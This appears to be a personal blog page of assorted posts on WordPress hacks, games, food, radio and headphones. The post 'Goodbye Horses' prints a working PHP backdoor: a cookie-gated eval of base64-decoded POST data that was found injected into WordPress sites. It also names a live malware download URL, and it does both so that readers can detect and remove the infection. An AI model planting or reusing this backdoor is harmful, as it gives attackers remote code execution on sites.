Jason Cosper

Blog

  • Just Another Magic Monday

    Have you recently found yourself editing a post on your WordPress install only to find yourself facing the following prompt?

    The server at Magic requires a username and password.

    Well my friend, you’ve been hacked.  Apparently this has something to do with the cross-site scripting (XSS) bug addressed with the WordPress 2.8.2 and 2.8.3 updates.

    I’ve uncreatively dubbed this little baddie “The Magic Hack” and there appears to be a simple way to clear it up.  As it stands, the only file that I’ve seen get affected by this is in “wp-includes/vars.php”.  So if your copy of that file looks nothing like the one available over in the WordPress subversion repository, replace yours with a fresh copy, stat.

    In fact, it’d probably be a better idea to upgrade your blog to the most recent version of WordPress using the extended upgrade instructions over on the WordPress Codex.  So yeah, do that instead.

    Oh, and if you’re still seeing that prompt after updating “wp-includes/vars.php”, let me know and I’ll update the post when I dig up some more info.

    Update: Some people are seeing the hack showing up outside of “wp-includes/vars.php”. If you have SSH access to your server, you should be able to pick out the infected files rather quickly by doing a recursive grep from your site’s root directory:

    grep -r -l gzinflate .

    This will show you just the filenames where the string “gzinflate” is found. If you want to see the code that grep finds — to provide yourself with a little context — just leave the “-l” switch off of the command.

    Should you not have SSH access to the server where your copy of WordPress is installed, I suggest writing your host’s support team. Any host worth their salt wouldn’t mind running the command above and giving you the results.

    And if you host your WordPress sites in a Windows based server environment — which doesn’t normally allow for commands like grep — do yourself a favor and go get a real host… ;)

  • Summer Skin

    Thanks to the release of (Nerd)Press, I’ve switched up the site’s theme a little bit.  And while the jumbo header and splash of Colourise will be sorely missed, I’ve gotta say that I’m really enjoying its super minimal replacement.  Not only does it elegantly tuck comments out of sight — without disabling them completely, I might add — but it also manages to use a liberal amount of Helvetica.

    Well, so long as you’re running an OS that installs Helvetica by default, that is.  Otherwise it defaults to (gag) Arial.  Still, sans-serifs FTW!

    So feel free to kick the tires a bit.  And let me know if you notice anything weird.

  • Left 4 Dead 2: Electric Boogaloo

    Squee! My all-time favorite multiplayer FPS is getting a sequel! And melee weapons! This has managed to make me so excited that I can’t seem to stop using exclamation points!

    Oh. Wait. Yes I can. *whew* That was a close one. Last time I got stuck like that it took me a week to snap out of it.

    I’m still pretty psyched tho. November 17th can’t come soon enough…

    Actually, let’s not shit ourselves — it’ll probably be here before you realize it. So if you pre-order the Xbox 360 version on Amazon now and add me on Xbox Live, we’ll be able to kill zombies without having to deal with the condescending twats they seem to employ behind the counter at Gamestop.

    (more…)

  • GrowlMail and Safari 4

    While I’m really happy with the Safari 4 beta, I was a little dismayed to find that Mail.app started dying shortly after the update. The system’s complaint was that GrowlMail was causing a problem that made Mail.app become hella unstable.

    So what was their suggestion?  Turn GrowlMail off until there was an update for it.  And that’s all well and good for most people — but since I hide my dock and am expected to pay at least a little bit of attention to my mail client at work, I’d rather not wait around for a fix.

    Fortunately, the Growl forums came up with a solution that requires only cutting and pasting a simple line into Terminal.app:

    defaults write com.apple.mail GMSummaryMode -int 2

    This can also be achieved by setting GrowlMail to display summaries instead of message excerpts.  If Mail.app keeps crashing on you tho, it’s a little hard to do that.

    So if you need a fix, now you’ve got one.

  • Goodbye Horses

    So I’ve been helping a few folks out with a Trojan that has been cropping up in a handful of WordPress installs as of late. Currently, it has been getting noticed by the good little girls and boys on Windows with virus scanners installed.  When visiting an infected site, most folks are being prompted to download: 

    http://gvatemal.biz/pfd/spl/pdf.pdf

    Don’t go there tho! The virus scanners identify the contents of that URL as JS:Packed-L, a packed JavaScript exploit.

    So how do you find out if your install has been hit?  Well, the ones I’ve been cleaning up all have the following bit of code right at the top of their main index.php: 

    <?php if(md5($_COOKIE['0bdcf3981272c15a'])=="23c8932280dcafe25c20c6d25c9c8660"){ eval(base64_decode($_POST['file'])); exit; } ?>

    If you see that floating around, get rid of it!  Once you’ve done that, clear out your site’s cache — if you’re using a caching plugin, that is — and you should be good to go.

    Should you not find that bit of code hanging around in your install’s index.php and there are people still complaining about it, I suggest getting shell access — so long as your web host is awesome and gives you that — and doing a recursive grep. At DreamHost, this is as easy as logging in and running:

    grep -R 0bdcf3981272c15a /home/user/example.com/*

    Of course you’ll want to replace “user” with your username and “example.com” with the domain — or folder if you broke from standard naming conventions — where WordPress is installed.  Give that command a few minutes to run and you should get a path of where that code snippet can be found.  All you have to do at that point is purge it and clear any cache you might have on your WP install.

    Of course, if you managed to get hit with this, it was because there was a hole in your WordPress install. Making sure your core install and plugins are up to date is always a great idea. I check mine daily — but even doing it once a week is better than most folks.

    All I’m saying is that you have to stay militant. Doing so will seriously prevent the headaches of having to deal with fixing this crap on a regular basis.

  • Underground Eats

    File under “things I didn’t know about 505 Flower before tonight”:

    • Despite almost everything else in the complex dropping their shutters after lunch, Saffron stays open until 9 PM.  So now I have an option other than Subway, Carl’s Jr., Famima, The Standard or Casey’s.  Even better is the fact that it’s Indian food.  Which I love.  So yay for Saffron!
    • Speaking of Famima, they’ve got a huge one hiding down there.  And it’s stocked better than the one off 6th and Grand.  Their refrigerator case had a pile of extra spicy tuna rolls, the steamer was loaded with bao and the shelves were brimming with a bunch of exotic Pocky.  Until the one right across the street from our building opens up, this totally is my new go-to Famima.

    You might think I’m easily swayed, but both of these things (along with the fact that Weiland serves Craftsman) have pretty much redeemed that bomb shelter of a food court for me.

  • Bye Bye, Indie

    Indie Logo

    A little more than five years after it fired up with a rather curious DJ-free playlist, Indie’s going off the airwaves in LA. And while I’ll miss being able to tune-in while driving around, I’m happy that they’re going to try to keep things going online.

    If I ever miss it enough while rolling thru my hood, at least I can load up Tuner on the iPhone and patch it into my car stereo. The quality may suffer a bit, but at least the reception will be a little bit better… ;)

    Update: Variety has a fantastic obit that does more than just regurgitate the closing statement plastered across the front page. If you listened to the station for even a few minutes, it’s worth a read.

    Update: According to an interview with Mr. Shovel over at The Daily Swarm the announcement running on the radio after every song is a little disingenuous:

    None of the primary DJs or music programmers at the station are involved in the website and it’s not being run by people who ran the station – there may be one person from the station. My concern is that people are confused. They are running an ad on the air saying we couldn’t play the corporate radio game anymore and that we didn’t want to change our format to be more mainstream and that we decided to play music on the web. But the guy making the announcement is the head of sales! God love him, he’s a good guy, but the staff of Indie had no control in the decision to shut down the station. I guess they had some success with the web and want to keep it going. But I don’t want the listeners to be confused.

    I listened to the web stream for a good portion of yesterday and they were still playing tracks from Check One…Two artists with pre-recorded bits from Mr. Shovel.  That just seems a little off to me.

  • Photoshoppery in the Real World

    Photoshop

    Pretty much every celebrity photo — save for the unflattering ones on gossip sites — is so heavily touched up nowadays that this bit of adbusting from Germany is freaking genius as far as I’m concerned.  And I don’t know about you, but all the detail that they put into this (like the layer list) really makes me wish that I’d see stuff like this pop up in the US more often.

  • Dear Natalie Portman,

    I consulted VW’s RoutanBabymaker3000, and it seems to think that we’d have great looking kids.  Don’t believe me?  Take a look for yourself:

    Portman/Cosper

    Now I know you’ve got a thing for quirky bearded dudes. Well, you might. For all I know, that was just a phase. Hopefully it wasn’t tho — because I’m way into college educated actresses with published research papers who aren’t afraid to shave their heads for a role.

    Anyhow, now that you know what our offspring would look like, you should drop me an email.  We don’t have to make babies right away, but maybe we can go record shopping or talk about Israel.  You know, just getting to know one another.  That would be nice, wouldn’t it?

    Okay, it’d probably be nicer for me than it would be for you.  But I swear that I’m a nice guy and not really that weird.  I mean, I might be weird enough to run your photo thru a website, but I’ll never send you a sweater made of my hair or anything.  That’s just bizarre…

  • Review: Nixon Nomadic Headphones

    I told myself that I was going to wait for the reviews before I rushed out and bought myself a pair of Nixon Nomadic headphones. Sure, the product page made them look dead sexy — but could they possibly live up to the marketing hype?

    2 weeks on, my patience was wearing thin. Not a single word had surfaced and I was getting antsy. No. I wasn’t going to give in. If they were good, I’d hear about it eventually. Patience is a virtue, and I was going to stick to my original plan.

    A week later, I had them in my grubby paws. Fuck patience. My want overruled any plans I might have had. And while I might be weak, at least I had a shiny new way to listen to music.

    So how are they? Surprisingly good, actually. The first handful of tracks that I listened to had the right amount of punch along with just enough nuance. Even the audiobook that I’m currently consuming sounded great.

    On top of that, they’re solidly built. The ball and socket joints manage to swivel freely while not getting too squirrelly and the memory foam ear pads contour quite nicely. The fact that the headphone cable detaches for easy packing and the right ear has an independent volume control built-in are just icing on the cake.

    Oh, did I mention these were iPhone compatible? No? Well, they are. And the mic, I’ve been told, sounds fantastic. Like a heavy one-inch button, there’s really no fumbling for it to change tracks or answer calls. Your hand just sort of gravitates to it.

    Other than feeling just a little tight on my Charlie Brown sized head, these are pretty much flawless. They’re seriously my new favorite headphones — and well worth the $120 I shelled out for them. If you’ve got the cash to burn, I highly recommend them.